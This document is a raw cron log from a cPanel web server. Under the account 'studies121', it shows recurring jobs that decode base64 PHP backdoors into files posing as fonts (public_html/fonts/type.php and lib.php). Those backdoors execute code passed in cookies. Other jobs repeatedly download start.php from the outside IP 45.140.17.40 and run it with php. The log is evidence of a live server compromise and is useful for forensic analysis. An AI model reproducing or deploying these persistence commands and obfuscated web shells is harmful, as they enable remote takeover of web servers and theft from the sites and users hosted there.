Sep 22 07:28:01 ip-184-168-122-23 CROND[13961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:29:01 ip-184-168-122-23 CROND[14129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:29:01 ip-184-168-122-23 CROND[14131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:29:01 ip-184-168-122-23 CROND[14134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:29:01 ip-184-168-122-23 CROND[14133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:30:01 ip-184-168-122-23 CROND[14331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:30:01 ip-184-168-122-23 CROND[14337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:30:01 ip-184-168-122-23 CROND[14336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:31:01 ip-184-168-122-23 CROND[14516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:31:01 ip-184-168-122-23 CROND[14518]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 07:31:01 ip-184-168-122-23 CROND[14520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:31:01 ip-184-168-122-23 CROND[14519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:31:01 ip-184-168-122-23 CROND[14521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:32:02 ip-184-168-122-23 CROND[14623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:32:02 ip-184-168-122-23 CROND[14625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:32:02 ip-184-168-122-23 CROND[14626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:32:02 ip-184-168-122-23 CROND[14627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:32:02 ip-184-168-122-23 CROND[14628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:33:01 ip-184-168-122-23 CROND[14732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:33:01 ip-184-168-122-23 CROND[14736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:33:01 ip-184-168-122-23 CROND[14735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:33:01 ip-184-168-122-23 CROND[14734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:34:01 ip-184-168-122-23 CROND[14840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:34:01 ip-184-168-122-23 CROND[14842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:34:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:34:01 ip-184-168-122-23 CROND[14841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:34:01 ip-184-168-122-23 CROND[14839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14986]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:35:01 ip-184-168-122-23 CROND[14989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:36:01 ip-184-168-122-23 CROND[15144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:36:02 ip-184-168-122-23 CROND[15146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:36:02 ip-184-168-122-23 CROND[15148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:36:02 ip-184-168-122-23 CROND[15149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:36:02 ip-184-168-122-23 CROND[15147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:37:01 ip-184-168-122-23 CROND[15308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:37:01 ip-184-168-122-23 CROND[15307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:37:01 ip-184-168-122-23 CROND[15309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:37:01 ip-184-168-122-23 CROND[15310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:38:01 ip-184-168-122-23 CROND[15581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:38:01 ip-184-168-122-23 CROND[15583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:38:01 ip-184-168-122-23 CROND[15584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:38:01 ip-184-168-122-23 CROND[15586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:38:01 ip-184-168-122-23 CROND[15585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:39:01 ip-184-168-122-23 CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:39:01 ip-184-168-122-23 CROND[15717]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 07:39:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:39:01 ip-184-168-122-23 CROND[15715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:39:01 ip-184-168-122-23 CROND[15716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:40:01 ip-184-168-122-23 CROND[15894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:40:01 ip-184-168-122-23 CROND[15898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:40:01 ip-184-168-122-23 CROND[15899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
